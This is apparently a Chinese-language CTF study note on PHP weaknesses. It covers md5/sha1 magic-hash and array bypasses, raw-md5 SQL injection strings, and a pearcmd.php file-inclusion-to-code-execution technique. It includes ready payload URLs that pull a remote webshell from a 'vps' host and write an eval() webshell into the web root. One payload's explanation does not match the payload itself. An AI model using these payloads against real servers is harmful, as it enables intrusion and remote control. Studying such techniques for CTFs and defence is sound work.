关于md5和sha1绕过

1.数组绕过

对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

2.0e绕过

对于某些特殊的字符串加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同

md5加密后是0e开头的:

1
2
3
4
5
6
7
8
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

sha1加密后是0e开头的

1
2
3
4
5
6
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

3.双重md5下的0e绕过

以下字符串进行两次md5后以0e开头

  • 7r4lGXCH2Ksu2JNT3BYM
  • CbDLytmyGm2xQyaLNhWn
  • 770hQgrBOjrcqftrlaZk

4.md5绕过SQL

1
2
3
ffifdyop,经过md5函数后结果为 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c;

129581926211651571912466741651878684928,经过md5函数后结果为 \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8;

这两个加密后都是万能密码

5.md5(sha1)加密后弱等于初始值

$a==md5($a)

0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等

$a==sha1($a)

0e1290633704的sha1值也是由0e开头的,在弱比较中相等

PHP中非法变量的解析

image-20250325112657901

参数名中含有空格,可以看到当我们传入?mo yu.=xxx时,传入的参数名中点.空格都被替换为了下划线_,从而变成mo_yu_这样的参数名确实无法传参

PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

pearcmd.php的妙用

1. register_argc_argv

如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On

这个register_argc_argv能干什么呢?

我们先本地测试一下

1
2
3
4
//test.php
<?php
var_dump($_SERVER['argv']);//以数组形式输出我们的命令行参数
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//在 CLI 模式 下
root@dkhkv28T7ijUp1amAVjh:/# php test.php
array(1) {
[0]=>
string(8) "test.php"
}

root@dkhkv28T7ijUp1amAVjh:/# php test.php 1 2 3
array(4) {
[0]=>
string(8) "test.php"
[1]=>
string(1) "1"
[2]=>
string(1) "2"
[3]=>
string(1) "3"
}

在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

然后我们如何利用呢?

1
2
3
4
5
6
<?php

var_dump($_SERVER['argv']);
$a = $_SERVER['argv'];
$a[0]($a[1]);
?>

不过这个在web下测试更方便,但是不知道为什么这里没测出来,所以直接在CLI下测了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@dkhkv28T7ijUp1amAVjh:/var/www/html# cat 1.php
<?php

var_dump($_SERVER['argv']);
$a = $_SERVER['argv'];
$a[1]($a[2]);
?>
root@dkhkv28T7ijUp1amAVjh:/var/www/html# php 1.php system ls
array(3) {
[0]=>
string(5) "1.php"
[1]=>
string(6) "system"
[2]=>
string(2) "ls"
}
1.php
index.nginx-debian.html
upload
xss.php

可以看到成功执行了

然后我们看pearcmd.php的神奇使用,最好的就是p牛的文章了

image-20250325165314237

PEAR是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库
类似于composer,用于代码的下载与管理。

pear可以用来拉取远程的代码

1
pear install -R /tmp http://vps/shell.php

该payload可以用来拉取我们vps上的shell.php文件并解析执行

2.register_argc_argv和pear的关系

当执行了pear后,会将$_SERVER[‘argv’]当作参数执行!如果存在文件包含漏洞的话,就可以包含pearcmd.php,拉取远程服务器上的文件到靶机,再通过文件包含获取shell。

3.payload

如果靶机出网

1
2
3
4
//test.php
<?php
include($_GET['file']);
?>

我们尝试拉取远程服务器的shell.php到靶机的/tmp目录下

payload

1
2
http://localhost/test.php?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://vps/shell.php
//shell就是我们的一句话木马

然后文件包含shell.php同时传参cmd即可

解释payload

  • ?file=/usr/local/lib/php/pearcmd.php
    • 指定 pearcmd.php 文件的路径。
    • pearcmd.php 是 PEAR(PHP 扩展和应用库)的命令行工具。
  • &+install+-R+/tmp+http://vps/shell.php
    • 这是 pearcmd.phpinstall 命令的参数。
    • install:安装指定的包。
    • -R /tmp:将安装的文件保存到 /tmp 目录。
    • http://vps/shell.php:从远程服务器下载的恶意文件。

如果靶机不出网,我们可以写一句话木马进hello.php

1
http://localhost/test.php?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php

解释payload

  • ?+config-create+
    • 这是 PHP 的 pearcmd.php 工具的一个参数,用于创建配置文件。
    • pearcmd.php 是 PEAR(PHP 扩展和应用库)的命令行工具。
  • /&file=/usr/local/lib/php/pearcmd.php&/
    • 指定 pearcmd.php 文件的路径。
    • 如果服务器上存在 pearcmd.php,这段代码会尝试调用它。
  • <?=eval($_POST[1])?>
    • 这是一个 PHP 短标签,用于执行 eval($_POST[1])
    • eval 函数会执行传入的 PHP 代码,$_POST[1] 是从 POST 请求中获取的参数。
    • 这段代码的目的是将恶意 PHP 代码写入目标文件。
  • +/tmp/hello.php
    • 指定目标文件的路径,即 /tmp/hello.php
    • 如果攻击成功,恶意代码会被写入该文件。

后来看了p牛的文章才知道$SERVER并不任务&符号是参数的分隔符,而是将+号作为分隔符